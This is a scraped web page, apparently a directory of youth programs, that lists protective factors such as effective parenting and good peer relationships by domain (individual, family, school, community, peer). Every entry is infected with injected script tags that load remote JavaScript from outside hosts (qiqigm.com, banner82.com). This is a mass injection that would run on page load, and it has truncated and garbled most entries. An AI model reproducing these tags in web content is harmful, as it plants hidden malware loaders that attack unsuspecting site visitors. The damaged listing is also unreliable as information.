Search for Programs to Help Youth

Programs by Protective Factor

Protective Factors—Individual

Protective Factors—Family

Protective Factors—School

Protective Factors—Community

Protective Factors—Peer

Protective Factors—Other

Protective Factor
Above average academic achieve<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Clear social norms / Policies<<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Effective parenting<script src<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Good relationships with parent<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Good relationships with peers<<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Peer<script src=http://9i5t.cn<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Having a stable family<script<<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Healthy / Conventional beliefs<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
High expectations of students<<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
High expectations<script src=h<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
High expectations<script src=h<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
High expectations<script src=h<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
High quality schools / Clear s<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Involvement with positive peer<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Peer<script src=http://9i5t.cn<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Nondisadvantaged neighborhood<<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Opportunities for prosocial fa<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Opportunities for prosocial sc<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Parental approval of friends<s<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Peer<script src=http://9i5t.cn<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Perception of social support f<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Positive / Resilient temperame<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Positive expectations / Optimi<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Presence and involvement of ca<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Presence and involvement of ca<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Prosocial opportunities for pa<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Religiosity / Involvement in o<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Rewards for prosocial communit<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Rewards for prosocial family i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Family<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Rewards for prosocial school i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Safe environment / Low neighbo<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Community<script src=http://9i<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Self-efficacy<script src=http:<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Social competencies and proble<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	Individual<script src=http://9<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Strong school motivation / Pos<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>
Student bonding (attachment t<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>	School<script src=http://9i5t.<script src=http://www.qiqigm.com/m.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>